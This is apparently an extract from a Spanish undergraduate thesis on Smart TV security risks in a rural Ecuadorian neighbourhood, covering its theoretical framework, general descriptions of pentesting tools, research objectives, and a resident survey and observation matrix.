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RESUMEN EJECUTIVO

En la era digital actual, los dispositivos inteligentes, especialmente los Smart TV, han
experimentado un aumento significativo en los hogares. Estos dispositivos ofrecen una
amplia gama de funciones que van mas alld de la simple visualizacién de television,
incluyendo acceso a internet, streaming de contenido, juegos y aplicaciones interactivas,
sin embargo, la falta de estandares de seguridad y el desconocimiento de los usuarios a
ataques, han creado una puerta abierta para posibles amenazas cibernéticas ya que estos
dispositivos no solo sirven para la visualizacién de contenido, sino que también estan

interconectados con redes domésticas y almacenan datos personales.

El presente trabajo tiene como objetivo realizar pruebas de Pentesting a través de la
metodologia OWASP, utilizando herramientas especializadas como Wireshark, Nmap,
Nessus, Metasploit, Ettercap y ADB, asi, evaluar la seguridad realizando pruebas de
intrusion en dispositivos inteligentes del hogar. El objetivo final es proporcionar
recomendaciones concretas y medidas de seguridad para establecer practicas y politicas
que protejan la integridad de los usuarios, sensibilizandolos sobre los riesgos y

brindandoles herramientas para mejorar la seguridad en el entorno digital del hogar.

Palabras clave: Ciberseguridad, monitoreo, vulnerabilidad, malware, amenaza,

mitigacion, explotacion, escaneo.
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ABSTRACT

Currently, smart devices, especially Smart TVs, have seen a significant increase in
homes. These devices offer a wide range of functions that go beyond simple television
viewing, including Internet access, streaming content, games and interactive
applications, however, the lack of security standards and users' lack of awareness of
attacks , have created an open door for possible cyber threats since these devices not
only serve to display content, but are also interconnected with home networks and store

personal data.

The objective of this work is to carry out Pentesting tests through the OWASP
methodology, using specialized tools such as Wireshark, Nmap, Nessus, Metasploit,
Ettercap and ADB, thus evaluating security by performing penetration tests on smart
home devices. The ultimate goal is to provide concrete recommendations and security
measures to establish practices and policies that protect the integrity of users, raising
awareness about the risks and providing them with tools to improve security in the

digital home environment.

Keywords: Cybersecurity, monitoring, vulnerability, malware, threat, mitigation,

exploitation, scanning.
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CAPITULO I.- MARCO TEORICO

1.1 Tema de investigacion

EVALUACION DE RIESGOS Y VULNERABILIDADES APLICANDO TECNICAS
DE PENTESTING EN LOS DISPOSITIVOS SMART TV DEL BARRIO PUCARA
EN LA PARROQUIA AMBATILLO.

1.1.1 Planteamiento del problema

A nivel mundial, en el panorama actual, la seguridad en los dispositivos de loT(Internet
de las cosas) es de suma importancia. A medida que el nimero y la complejidad de
estos equipos crece, también aumentan las inquietudes en torno a la privacidad y la
salvaguardia de datos, estos aparatos estan expuestos a diversos riesgos, como el acceso
no autorizado, la manipulacion de datos, el robo de informacion sensible y los ataques

cibernéticos [1].

Conforme mas artefactos se conectan a Internet, la cantidad de informacién generada se
incrementa considerablemente, lo cual genera inquietudes sobre la proteccion de datos
personales y sensibles. Ademas, los dispositivos 10T pueden ser propensos a ataques
cibernéticos, lo que supone una amenaza para la integridad y confidencialidad de los
datos [2].

La seguridad en los medios audiovisuales es un tema de relevancia debido al
crecimiento de la industria audiovisual y el aumento en el consumo de contenido en
plataformas digitales [3]. Igual que cualquier otro medio de comunicacion y tecnologia,
también estan sujetos a preocupaciones y desafios relacionados con la seguridad. A
medida que la tecnologia avanza y los medios audiovisuales se vuelven mas digitales e
interconectados, surgen nuevos riesgos y vulnerabilidades que deben abordarse para

garantizar la seguridad de la informacion y la proteccién de los usuarios [4].

Los Smart TV, al estar conectadas a Internet y ofrecer diversas funcionalidades como la

reproduccion de contenido en linea, navegacion Web e interaccion con aplicaciones y
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servicios, tambien plantean riesgos en términos de seguridad, estos dispositivos pueden
ser vulnerables a ataques cibernéticos, lo que podria permitir a los delincuentes acceder
a la red doméstica, obtener informacion personal o incluso tomar el control del Smart
TV [5].

Si la seguridad en dichos dispositivos es insuficiente, existe el riesgo de que estos datos
sean interceptados o utilizados de manera inapropiada, lo que podria poner en peligro la
privacidad y seguridad de los usuarios.

1.2 Antecedentes investigativos

Después de haber realizado el analisis de fuentes de investigacion dentro de los
repositorios de algunas Universidades, se han encontrado varios temas que serviran de

apoyo para el trabajo propuesto.

Segln H. Victor Rico [6], argumenta que los Smart TVs en la red conllevan peligros de
seguridad, como vulnerabilidades, infecciones por malware, preocupaciones de
privacidad y riesgos de phishing. Ademas, existe la amenaza de que las camaras y los
micréfonos incorporados sean utilizados para espiar a los usuarios. Por tanto, es
esencial estar al tanto de estos riesgos y tomar medidas para protegerse, como mantener
el software actualizado, utilizar contrasefias seguras y configurar la privacidad
adecuadamente. También, se recomienda evitar hacer clic en enlaces sospechosos y
considerar el uso de una red segura, como una VPN (Red privada virtual), para mejorar

la proteccion.

La investigacion desarrollada por Y. Reddy [7], argumenta que el proximo objetivo de
los delitos cibernéticos se centra en las televisiones inteligentes. El analisis forense
digital es la disciplina encargada de obtener pruebas digitales de un televisor inteligente
en condiciones controladas. Este estudio ha proporcionado una visién mas clara sobre la
ciencia forense aplicada a las Smart TVs y los desafios que se enfrentan en sus primeras

etapas de desarrollo.
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Segun A. Benjamin Michele y C. Andrew Karpow [8], plantea “La mayoria de los
televisores inteligentes tienen actualizaciones de firmware que solo se proporcionan
durante unos afios, lo cual es un periodo mucho més corto en comparacién con la vida
util promedio de un televisor”. Esto hace que todos los televisores inteligentes estén
expuestos a nuevas vulnerabilidades que se descubren con el tiempo. Por lo tanto, es
importante que los proveedores de televisores presten mayor atencion a la seguridad,
especialmente en lo que respecta al manejo de archivos multimedia.

La investigacion desarrollada por M. Roberto Lépez [9], plantea que los medios
tradicionales han distorsionado el concepto de hacker al asociarlo con actividades
delictivas. Por esta razdn, se ha introducido el término hacking ético con el objetivo de
aclarar y garantizar que las acciones relacionadas con el hacking se realicen siguiendo

principios éticos.

1.3 Fundamentacion teérica

1.3.1 Hacking ético

Implica seguir un riguroso codigo de ética, respetar los limites establecidos y abstenerse
de causar dafios o robar informacion. Su objetivo principal radica en mejorar la
seguridad de un sistema o red al identificar y resolver sus debilidades antes de que los

ciberdelincuentes las aprovechen [10].

Los hackers éticos son profesionales que laboran para compafiias u entidades con la
tarea de poner a prueba la seguridad de sistemas informaticos sin ocasionar perjuicios.
Emplean las mismas técnicas que los hackers maliciosos, pero con la finalidad de
fortalecer la seguridad del sistema. Su labor reviste gran importancia en el ambito de la
ciberseguridad, ya que contribuye a prevenir posibles ataques cibernéticos y desempefia
un papel crucial en la salvaguarda de la informacion y los datos de las empresas y

organizaciones [11].
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1.3.2 Tecnicas de Pentesting.

Las técnicas de hacking ético se aplican siguiendo un enfoque sistematico y controlado

como:

a. Explotacién de puertos

Se refiere a la accién de aprovechar debilidades o fallos de seguridad en sistemas
informaticos o aplicaciones para obtener acceso no autorizado, control o ventaja sobre
ellos. Los atacantes buscan activamente vulnerabilidades, como errores de
programacion o configuraciones incorrectas, con el objetivo de explotarlas y realizar
acciones maliciosas, como robar datos, tomar el control de sistemas o instalar malware.
La Explotacién de puertos es una preocupacion significativa en la ciberseguridad, y las
organizaciones deben tomar medidas proactivas para identificar y remediar estas

debilidades con el fin de proteger sus sistemas y datos. [12].

b. Ataques de phishing

Son una forma de ciberataque en la que un atacante se hace pasar por una entidad de
confianza, como una institucion financiera, una empresa legitima o una entidad
gubernamental, para engafiar a las victimas y obtener informacién confidencial, como
contrasefias, numeros de tarjeta de crédito o datos personales. Estos ataques suelen
implicar el envio de correos electronicos 0 mensajes falsos que parecen legitimos, con
enlaces o archivos adjuntos maliciosos que redirigen a sitios web fraudulentos que
imitan a los auténticos. Los usuarios engafiados pueden introducir sus datos sensibles,

que luego son robados por los atacantes [12].

c. Ataques de denegacion de servicio

Son un tipo de ciberataque que tiene como objetivo abrumar un sistema, red o servicio
en linea al inundarlo con una gran cantidad de trafico malicioso o solicitudes, con el
propdsito de hacer que la infraestructura no esté disponible para los usuarios legitimos
[13].
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d. Pruebas de penetracion (Penetration Testing)

Esta técnica es ampliamente utilizada en el hacking ético y consiste en realizar ataques
simulados y controlados a sistemas, redes o aplicaciones con el propdsito de identificar
vulnerabilidades y debilidades de seguridad. El objetivo principal es evaluar la

resistencia del sistema y proponer soluciones para fortalecerlo [3].

e. Analisis de vulnerabilidades (Vulnerability Assessment)

En esta técnica, se lleva a cabo un escaneo y andlisis exhaustivo de sistemas y redes
para identificar vulnerabilidades conocidas. Se utilizan herramientas y métodos
especializados para detectar posibles puntos débiles que podrian ser explotados por

atacantes maliciosos [14].

f. Ingenieria social (Social Engineering)

Esta técnica se basa en la manipulacién psicoldgica y en la interaccién con personas
para obtener acceso no autorizado a sistemas o informacién confidencial. Se utilizan
técnicas de persuasion, engafio o manipulacién para obtener la colaboracion

involuntaria de los individuos y comprometer asi la seguridad [14].

g. Analisis de cddigo (Code Analysis)

En esta técnica, se realiza un analisis detallado del cdédigo fuente de aplicaciones o
sistemas con el objetivo de identificar posibles vulnerabilidades o errores de
programacion que podrian ser explotados. Se utilizan enfoques como el anélisis estatico

o dindmico del codigo para descubrir posibles riesgos de seguridad [15].

1.3.3 Proteccién de datos

La proteccion de datos se refiere a las medidas y practicas implementadas para
garantizar la seguridad, privacidad e integridad de la informacion personal y sensible.
Es fundamental para salvaguardar los derechos y la privacidad de los individuos y
prevenir el acceso no autorizado, el uso indebido o la divulgacion de datos

confidenciales [15].
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1.3.4 Medidas utilizadas para proteccion de datos

a. Politicas de privacidad

Establecer politicas claras y transparentes que describan como se recopilan, utilizan,
almacenan y protegen los datos personales. Estas politicas deben informar a los usuarios
sobre los propdsitos de recopilacion de datos, los derechos del individuo y como se

garantiza su seguridad [16].

En Ecuador, las politicas de privacidad estdn reguladas por la Ley Organica de
Proteccion de Datos Personales. Esta ley establece que todas las organizaciones que
recopilen datos personales de sus clientes o usuarios deben tener una politica de
privacidad que cumpla con los requisitos establecidos en la ley [17].

b. Acceso y control de datos

Limitar el acceso a los datos personales solo a las personas autorizadas que necesitan
acceder a ellos para realizar sus funciones. Ademés, es importante implementar
mecanismos de control y supervision para asegurar que los datos se utilicen de acuerdo

con los fines establecidos [2].

1.3.5 Seguridad informatica

Se refiere a la proteccion de los sistemas de informacion, redes y datos contra amenazas
y riesgos que pueden comprometer su confidencialidad, integridad y disponibilidad.
Estas amenazas pueden incluir ataques cibernéticos, malware, acceso no autorizado,

robo de datos, entre otros [18].

a. Proteccion de la red

Implementar firewalls, sistemas de deteccion de intrusiones y sistemas de prevencion de
intrusiones para proteger la red contra accesos no autorizados y actividades maliciosas.
Ademas, asegurarse de que los equipos de red y los dispositivos estén configurados
correctamente y se mantengan actualizados con los parches de seguridad maés recientes
[19].
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b. Gestidn de accesos

Establecer politicas y procedimientos para gestionar y controlar el acceso a los sistemas
y datos. Esto implica la implementacion de medidas de autenticacion seguras, como
contrasefias fuertes, autenticacion de dos factores y control de privilegios de usuario

para limitar el acceso solo a las personas autorizadas [19].

c. Proteccion contra malware

Utilizar software antivirus y antimalware actualizado para detectar y eliminar amenazas
de software malicioso, como virus, gusanos y troyanos. También es importante educar a
los usuarios sobre las mejores practicas para evitar la instalacion inadvertida de

malware, como no hacer clic en enlaces o adjuntos sospechosos [15].

La interconexidon de redes es la posibilidad de compartir recursos de forma global ya sea
entre dos 0 mas redes hosts, permitiendo el intercambio de informacion de forma mas
rapida y clara, a la vez de mantener y reservar la independencia y la autonomia de los

elementos que se conectan a la red [14].

1.3.6 Vulnerabilidad

Es una debilidad o fallo que puede ser aprovechada por un atacante para causar dafio.
En el contexto de la seguridad cibernética, una vulnerabilidad es una debilidad o fallo
en un sistema informatico que puede ser explotada por un ciberdelincuente para obtener
acceso no autorizado o realizar acciones no autorizadas en el sistema. Las
vulnerabilidades pueden estar presentes en el software, el hardware o los procesos de
una organizacién. Por ejemplo, un error de programacion en un software puede permitir
a un atacante tomar el control del sistema, una configuracion incorrecta de un firewall
puede permitir a un atacante acceder a una red, o un empleado que utiliza una

contrasefia débil puede ser facilmente adivinada por un atacante [20].

1.3.7 Riesgo

En seguridad cibernética es la probabilidad de que ocurra un evento negativo que pueda

causar dafio o pérdida a un sistema informatico, red o datos. Este riesgo se puede
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cuantificar mediante la combinacion de la probabilidad de que ocurra el evento y la
gravedad de sus consecuencias [20]. Los riesgos en seguridad cibernética pueden ser

causados por una variedad de factores, incluyendo:

e Vulnerabilidades en el software o hardware: Una vulnerabilidad de software
o0 hardware es una debilidad o falla que puede ser explotada por un atacante para
obtener acceso no autorizado a un sistema o red. Las vulnerabilidades pueden
ser causadas por errores de disefio, errores de codificacion o configuraciones

incorrectas.

e Errores humanos: contrasefias débiles, uso de software no actualizado, etc.

e Ataques deliberados de ciberdelincuentes: son acciones intencionales para
vulnerar la seguridad informatica de un sistema o red con fines maliciosos. Estos
ataques pueden ser llevados a cabo por individuos, grupos organizados o incluso
estados nacionales, los ataques mas populares son phishing, malware,

ransomware, etc.

1.3.8 Amenazas

Abarca cualquier evento, accion, entidad o proceso que posee la capacidad de ocasionar
dafios, interrupciones o poner en riesgo la integridad de sistemas de informacién, redes,
datos o recursos digitales. Estas amenazas pueden adoptar diversas formas, como
programas maliciosos (malware), virus, ataques de suplantacion de identidad (phishing),
intrusiones de parte de hackers, debilidades en el software, entre otros. Es relevante
destacar que estas amenazas pueden ser tanto deliberadas como accidentales, y
generalmente estan disefiadas para aprovechar puntos débiles o vulnerabilidades en
sistemas informaticos con el propdsito de sustraer informacion confidencial, perjudicar
la funcionalidad de los sistemas o entorpecer las operaciones comerciales. Por esta
razon, la gestion y reduccion de riesgos asociados a amenazas se erige como un

componente esencial en el panorama de la seguridad cibernética [16].
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1.3.9 Ataques informaticos.

Los ataques informaticos son actos maliciosos perpetrados por personas o grupos con la
intencion de comprometer la seguridad de sistemas informaticos, redes, dispositivos o
servicios en linea. Estas acciones tienen como objetivo principal la obtenciéon ilegitima
de informacion confidencial, la interrupcion de servicios, el perjuicio a la reputacion de

una organizacion, el chantaje o incluso la realizacion de actos de sabotaje [16].

Estos ataques informaticos representan una grave amenaza para la seguridad de los
sistemas y la privacidad de los usuarios. Por ello, es crucial implementar medidas de
seguridad como el uso de contrasefias seguras, la actualizacion regular del software, la
utilizacion de cortafuegos y antivirus, y la promocién de la educacién sobre practicas
seguras en linea. Ademas, las organizaciones deben contar con profesionales
especializados en seguridad informética y llevar a cabo pruebas de seguridad para
identificar y solucionar vulnerabilidades en sus sistemas [19].

a. Amenazas de red

Plantean un peligro para la seguridad y el funcionamiento 6ptimo de una red. Estas
amenazas pueden surgir tanto de fuentes internas como externas y abarcan una variedad
de riesgos, como ataques cibernéticos, la presencia de malware o software malicioso, y
las vulnerabilidades en el software utilizado. Estas amenazas pueden comprometer la
integridad, confidencialidad y disponibilidad de los datos y sistemas en una red,
pudiendo resultar en pérdida de informacion sensible, interrupcion de servicios, dafio a
la reputacion e incluso consecuencias financieras significativas. Es fundamental
implementar medidas de seguridad adecuadas, como firewalls, sistemas de deteccion de
intrusiones, actualizaciones regulares de software y una conciencia constante sobre las
ultimas tendencias y técnicas utilizadas por los atacantes, para mitigar y prevenir

eficazmente estas amenazas de red [16].

b. Riesgo de conectividad de dispositivos 10T (Internet of Things)

La conectividad de dispositivos 10T a una red conlleva riesgos en términos de

seguridad y privacidad. Estos riesgos incluyen la posibilidad de vulnerabilidades de
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seguridad no parcheadas, acceso no autorizado al dispositivo, recopilacion y uso
indebido de datos personales, ataques de Phishing y exposicion a contenido inapropiado
[18].

c. Vulnerabilidades en Smart TV

Se refiere a que los dispositivos Smart TV pueden presentar vulnerabilidades que
pueden poner en riesgo la seguridad y privacidad de los usuarios. Estas vulnerabilidades
incluyen la falta de actualizaciones de seguridad regulares, configuraciones
predeterminadas inseguras, descarga de aplicaciones maliciosas, transmision de datos
no encriptada, vulnerabilidades en los protocolos de comunicacion y el riesgo de

suplantacion de identidad [16].

1.3.10 Herramientas de analisis, monitoreo de redes y de Hacking.

a. Wireshark

Es una herramienta de software de codigo abierto utilizada para analizar el trafico de
redes y la captura de paquetes de datos en una red. Permite a los administradores de
redes y expertos en seguridad examinar el trafico de red en tiempo real o desde capturas
previas para diagnosticar problemas de red, detectar problemas de seguridad y realizar
un andlisis detallado de los protocolos de comunicacion utilizados en una red.
proporciona una interfaz gréfica de usuario que muestra los paquetes de datos en un
formato legible, lo que facilita la identificacion de problemas y la inspeccion de las
comunicaciones. Puede ser utilizado para diversas tareas, como depuracién de redes,
monitoreo de trafico, analisis de seguridad y resolucion de problemas de protocolos. Es
una herramienta muy versatil y ampliamente utilizada en el campo de las redes y la
ciberseguridad [20]. Wireshark puede ser utilizada para el hacking de la siguiente

manera:

e Identificacion de vulnerabilidades: Wireshark puede ser utilizado para
identificar vulnerabilidades en una red, como contrasefias débiles, protocolos no
seguros, o configuraciones incorrectas. Esta informacion puede ser utilizada por

un hacker para explotar las vulnerabilidades y obtener acceso a una red [21].
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e Captura de trafico de red malicioso: Wireshark puede ser utilizado para
capturar trafico de red malicioso, como malware o ataques DDoS. Esta
informacién puede ser utilizada por un hacker para aprender mas sobre las

técnicas de ataque utilizadas por otros hackers [21].

e Recoleccién de informacion: Wireshark puede ser utilizado para recopilar
informacion sobre una red, como direcciones IP, nombres de dominio, o
nombres de usuario. Esta informacion puede ser utilizada por un hacker para

planificar un ataque [21].

b. Nessus

Herramienta de escaneo de vulnerabilidades utilizada en ciberseguridad vy
administracion de redes. Desarrollado por Tenable, Nessus se utiliza para identificar y
evaluar posibles debilidades y amenazas en sistemas informaticos, aplicaciones y redes.
La herramienta realiza analisis automatizados de seguridad en busca de vulnerabilidades
conocidas, configuraciones incorrectas y riesgos de seguridad en una amplia variedad de
sistemas operativos, dispositivos de red y aplicaciones. Ofrece una amplia base de datos
de vulnerabilidades y se actualiza regularmente para mantenerse al dia con las nuevas
amenazas. Los administradores de sistemas y los profesionales de seguridad utilizan
Nessus para escanear sus entornos de Ty recibir informes detallados que les ayudan a
identificar y corregir las vulnerabilidades antes de que puedan ser explotadas por

atacantes [22].
Nessus puede ser utilizada para:

¢ Identificacion de vulnerabilidades: Nessus puede ser utilizado para identificar
vulnerabilidades en sistemas informaticos. Esta informacion puede ser utilizada
por un hacker para explotar las vulnerabilidades y obtener acceso a un sistema
[23].

e Generacion de informes: Nessus puede ser utilizado para generar informes
sobre el estado de seguridad de un sistema. Estos informes pueden ser utilizados

por un hacker para identificar sistemas vulnerables [23].
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c. Metasploit

Plataforma de pruebas de penetracion y herramienta de codigo abierto utilizada en
ciberseguridad para evaluar la seguridad de sistemas informaticos y aplicaciones. Fue
desarrollada por Rapid7 y proporciona una amplia gama de funcionalidades para
identificar vulnerabilidades, realizar pruebas de seguridad y llevar a cabo ataques
controlados con el fin de ayudar a las organizaciones a mejorar su postura de seguridad.
Incluye una amplia coleccion de modulos de explotacion, payloads y recursos que
permiten a los profesionales de seguridad llevar a cabo pruebas éticas y simular ataques
para descubrir debilidades en sistemas y redes. La herramienta se utiliza para verificar la
seguridad de sistemas y aplicaciones, y también puede ser empleada por equipos de

respuesta a incidentes para entender y mitigar amenazas [24].

d. Loic (Low Orbit lon Cannon)

Es una herramienta de cédigo abierto utilizada para realizar ataques de denegacion de
servicio distribuido (DDoS). LOIC permite a los usuarios enviar un gran volumen de
trafico de red a un objetivo especifico con el fin de sobrecargar sus recursos y hacer que
un sitio web o servicio en linea sea inaccesible para los usuarios legitimos. Aunque
LOIC en si mismo no es una herramienta de DDoS distribuido, ya que no utiliza una

botnet, puede ser utilizado por un grupo de personas para coordinar ataques DDoS [25].

d. Kali Linux

Es una distribucion de Linux que se centra en la seguridad informatica. Incluye una
amplia gama de herramientas para realizar pruebas de penetracion, auditorias de
seguridad, escaneo de vulnerabilidades y forense digital. Es una herramienta popular
entre profesionales y entusiastas de la ciberseguridad,se basa en Debian, lo que significa
que es una distribucion de Linux estable y segura. También tiene una interfaz de usuario

amigable y una comunidad activa que proporciona soporte y ayuda [4].

Kali Linux es una herramienta poderosa que puede utilizarse para mejorar las
habilidades en seguridad informatica y realizar pruebas éticas de seguridad. Es una

opcidn destacada en el ambito de la ciberseguridad [15].
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e. Ettercap

Se trata de una utilidad de codigo abierto y gratuita, siendo compatible con diversos
sistemas operativos tipo UNIX, como Linux, Mac OS Xy Solaris. Ettercap, un software
multiusos, ha experimentado una evolucién significativa, transformandose en una
herramienta de manipulacién de red sumamente versatil. Ademas de sus funciones
basicas, como la inyeccion de caracteres, el filtrado de paquetes y la capacidad para
interrumpir conexiones, Ettercap ofrece una amplia gama de capacidades, incluyendo
ataques de hombre en el medio. Al colocarse en medio de una conexién conmutada,
Ettercap tiene la capacidad de adquirir y analizar la totalidad de la comunicacién entre
los dos hosts victimas. Esta capacidad le otorga al atacante la posibilidad de aprovechar
la situacion de manera efectiva. Es crucial destacar que, gracias a su caracter de codigo
abierto, la comunidad de usuarios puede contribuir al desarrollo continuo de Ettercap,

mejorando sus capacidades y seguridad [26].

1.3.11 Metodologia

La metodologia comprende un conjunto de procesos, técnicas y practicas disefiadas para
lograr un objetivo especifico. En el contexto de la investigacion cientifica, la
metodologia se define como la disciplina que se dedica a examinar y organizar los
procedimientos y técnicas empleados en la investigacion con el fin de generar
conocimiento. En cualquier investigacion cientifica, la metodologia desempefia un papel
crucial al asegurar la rigurosidad y la validez de los resultados obtenidos. Una
metodologia efectiva debe ser clara, precisa y exhaustiva, ademas de adaptarse al tipo
de investigacién en curso. Una buena metodologia garantiza la rigurosidad y la validez
de los resultados obtenidos, lo que contribuye a la produccion de conocimiento
cientifico de calidad [27].

1.3.12 Metodologia OWASP

Representa un enfoque integral para fortalecer la seguridad en el desarrollo de
aplicaciones web. Desde sus inicios, OWASP (Open Web Application Security Project)
se ha destacado como una organizacion de referencia en el ambito de la seguridad
informatica, proporcionando un marco de trabajo valioso y recursos esenciales. Su

objetivo principal es abordar y mitigar las vulnerabilidades comunes en aplicaciones
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web, ofreciendo a desarrolladores y profesionales de seguridad una amplia gama de
herramientas, guias y mejores practicas para identificar y gestionar riesgos desde las
primeras etapas del ciclo de vida del software [27].

OWASP se ha convertido en un recurso indispensable para la comunidad de seguridad
cibernética al poner énfasis en la colaboracion y el intercambio de conocimientos. Su
enfoque proactivo hacia la seguridad, centrado en la prevencion y correccion temprana
de vulnerabilidades, ha contribuido significativamente a la mejora de la postura de

seguridad en el desarrollo de aplicaciones web a nivel mundial [28].

1.3.13 NVD (national vulnerability database)

Es un repositorio de informacion sobre vulnerabilidades de seguridad en software. Es
una iniciativa del Instituto Nacional de Estandares y Tecnologia (NIST) de los Estados
Unidos. Recopila informacion sobre vulnerabilidades de software, como su descripcion,
impacto, soluciones y medidas de mitigacion. También utiliza estandares comunes de
identificacion, como el Numero Comun de Vulnerabilidad (CVE), para etiquetar y
referenciar cada vulnerabilidad de manera Unica. La informacion proporcionada por la
NVD es esencial para que las organizaciones comprendan las amenazas potenciales a la
seguridad de sus sistemas y aplicaciones. También ayuda a los equipos de seguridad a
tomar decisiones informadas sobre como abordar y mitigar las vulnerabilidades. Es un
recurso valioso para investigadores, empresas y usuarios finales interesados en
mantenerse actualizados sobre las ultimas vulnerabilidades de seguridad y las mejores
préacticas para proteger sus sistemas [29].

Estandares de evaluacion de vulnerabilidad que utiliza NVD:

e Common Vulnerabilities and Exposures (CVE): Es un sistema de
identificacion unico para vulnerabilidades de seguridad. Cada vulnerabilidad se
asigna un identificador CVE Unico, que se utiliza para rastrear y compartir

informacién sobre la vulnerabilidad [29].

e Common Vulnerability Scoring System (CVSS): Ess un marco para evaluar la
gravedad de las wvulnerabilidades de seguridad. CVSS asigna a cada
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vulnerabilidad una puntuacién de gravedad, que se puede utilizar para priorizar

los esfuerzos de remediacion [29].

e Security Content Automation Protocol (SCAP): Es un conjunto de estandares
para la automatizacion de la gestién de vulnerabilidades. SCAP define un
lenguaje comun para compartir informacion sobre vulnerabilidades,

configuraciones incorrectas y otras debilidades de seguridad [29].

1.3.14 Sistemas operativos un Smart TV

El sistema operativo de una Smart TV puede considerarse el sistema inteligente al que
accedes en la actualidad. Algunos sistemas operativos son tan completos que incluso te
permiten jugar videojuegos o usar una gran variedad de aplicaciones. Sin embargo, no
existe un sistema anico para todas las Smart TV, sino que depende de la marca y el
modelo de tu televisor. Cada sistema operativo tiene su propia interfaz y es compatible
con diferentes herramientas [30].

Android TV, desarrollado por Google, sirve como sistema operativo en televisores
fabricados por diversas marcas, como Philips, algunos modelos de Sony, asi como en
Smart TVs de Sharp y Xiaomi, entre otros. Ademas, Google TV, su versién mejorada,
estd gradualmente extendiéndose, aunque todavia no esta ampliamente disponible en
varios dispositivos y se centra en la compatibilidad con Chromecast, introducido a
finales de 2020 [31].

Tizen, Sistema operativo propio de Samsung, destaca por su fluidez y facilidad de uso.
Cuenta con una buena seleccién de aplicaciones, aungque no tan amplia como Android
TV. Se encuentra en televisores Samsung de todas las gamas. WebOS es el sistema
operativo de LG, conocido por su disefio intuitivo y su control por voz. Ofrece una
buena seleccion de aplicaciones y es compatible con AirPlay 2. Se encuentra en

televisores LG de todas las gamas [30].
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1.4. Objetivos

1.4.1 Objetivo general

Determinar los riesgos y vulnerabilidades aplicando técnicas de Pentesting en

dispositivos Smart TV del Barrio Pucara en la parroquia Ambatillo.
1.4.2 Objetivos especificos

e Investigar sobre las vulnerabilidades, riesgos y amenazas en los Smart TV para
identificar los posibles ciberataques.

e ldentificar las técnicas de Pentesting aplicables en los Smart TV para la

deteccion de vulnerabilidades, riesgos y amenazas.

e Elaborar un informe de recomendaciones y medidas de seguridad para mitigar
los riesgos y vulnerabilidades encontrados los televisores inteligentes.
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CAPITULO I1.- METODOLOGIA.

2.1 Materiales

Para realizar el proceso de recoleccion de la informacion, se utilizd una encuesta
dirigida a los moradores del barrio Pucara de la parroquia Ambatillo que cuenten con un
televisor inteligente. Ademas, se realizd una matriz de observacion enfocada en los
dispositivos Smart TV. La informacidn recolectada permitira identificar las marcas mas

utilizadas y las vulnerabilidades mas comunes en los dispositivos del barrio Pucara.

2.1.1 Encuesta

La encuesta incluye preguntas dicotomicas, escala de Likert, por lo que se procedi6 a
medir la confiabilidad de los datos recolectados con el coeficiente de Alpha de
Cronbach, como se observa en la tabla 1 el resultado que se obtuvo fue del 0,84 de
confiabilidad por lo que se puede determinar que el conjunto de preguntas es muy
fiable.

Tabla 1. Coeficiente de Alfa de Cronbach aplicada a la encuesta.

o= 0,84
K(namero de items)= 9

> vi(Varianza de cada items)= 8,90
Vt(varianza total)= 34,53

ENCUESTA SOBRE LA SEGURIDAD EN DISPOSITIVOS SMART TV

1. ¢Qué incidente o problema ha experimentado relacionado con su Smart TV?

A. Problemas de conexion.

B. Problemas con las aplicaciones.

C. Problemas con el rendimiento o velocidad.

D. Problemas de seguridad.

2. ¢Qué medidas de seguridad adicionales ha implementado en su red doméstica para

proteger sus dispositivos inteligentes?
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Firewall

Red VPN
Antivirus
Ninguna

¢Con qué frecuencia actualiza el firmware o software de su Smart TV?

Cada mes

Cada trimestre

Una vez al afio 0 menos
No lo actualizo

¢Cree que los dispositivos Smart TV son seguros para usar en su hogar?

Muy seguros
Seguros
Inseguros
Muy inseguros

¢ Se siente comodo con la configuracion de privacidad de su Smart TV?

Muy cdmodo
Cémodo

Poco cémodo
Nada comodo

¢Esta al tanto de las amenazas de seguridad cibernética que podrian afectar a su
dispositivo Smart TV?

Muy al tanto

Al tanto

No muy al tanto
No estoy al tanto

¢Ha cambiado las contraseiias predeterminadas en su Smart TV y en las
aplicaciones que utiliza en él?

Si, he cambiado todas las contrasefias.
Si, he cambiado algunas contrasefias.
No, he dejado las contrasefias predeterminadas.

¢ Qué aplicaciones o servicios utiliza con frecuencia en su Smart TV?

Netflix
YouTube
Facebook
Spotify
Otras
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¢ Descarga aplicaciones o contenido de fuentes no oficiales en su Smart TV?

Si
No

. Conoce ¢como cambiar las contrasefias en su Smart TV y aplicaciones.

Si
No
En algunas aplicaciones

. ¢Usted, ha ingresado en su Smart tv credenciales personales como: tarjetas de

creditos, datos personales, ¢namero de cuentas bancarias?

Definitivamente
Posiblemente

No estoy seguro
Probablemente no
Definitivamente no

2.1.2 Matriz de observacién

En la tabla 2, se visualiza la matriz de observacion, que fue realizada con el fin de

recolectar la informacion acerca de los dispositivos Smart TV de los moradores del

barrio Pucara.

Tabla 2.Matriz de observacion para los dispositivos Smart TV.

Usuario: Cl:

Teléfono: Correo:

Marca TV: Modelo TV:

Version del Numero de

SO: puertos:

Observador: Matza Jonathan

Area que Objetivo Criterios de observacion Observacion
observar

Configuracion

de seguridad

Analizar las medidas de seguridad
adecuadas para proteger los

dispositivos de ataques.

Los usuarios han configurado
contrasefias seguras para sus

dispositivos de red.

Aplicaciones y

servicios

Revisar el uso de aplicaciones y
servicios que sean seguros y

confiables.

Los usuarios solo usan
aplicaciones y servicios de
fuentes confiables.
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Conexién a Conectar los dispositivos a Internet | Los usuarios usan una conexién

internet de forma segura. a Internet segura.
Actualizacion | Instalar las actualizaciones de Los usuarios mantienen sus
de software. software de forma oportuna para dispositivos Smart TV

corregir vulnerabilidades y mejorar | actualizados con la Gltima

la seguridad. version de software.

2.2 Métodos

2.2.1 Modalidad de la investigacion

La presente investigacion se contextualizo en la modalidad de investigacion de campo y

bibliografica-documental.

Investigacion de Campo: Se realizé investigacion de campo ya que el investigador
acudié al barrio para poder observar directamente el problema y obtener datos y sobre la

situacion.

Investigacion bibliogréafica-documental: Se realiz6 una investigacion bibliografica —
documental porque es necesario sustentar la informacién del marco tedrico mediante

libros, articulos cientificos, entre otros.

2.2.2 Poblacion y muestra

El presente tema de investigacion trabajé con personas que cuentan con un dispositivo
Smart TV en sus hogares del barrio Pucara de la parroquia Ambatillo de la ciudad de
Ambato. La poblacién tiene un numero reducido de participantes, por lo que no se

requiere una muestra significativa.

Tabla 3. Poblacion de estudio.

Poblacion Numero | Porcentaje
Personas, usuarios de Smart TV 25 100%
Total 25 100%
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2.2.3 Recoleccién de informacién

Cuestionario

La recoleccion de la informacion a través de la encuesta, se utilizd Google forms,

debido a que el alcance y tabulacion son faciles mediante la misma plataforma.

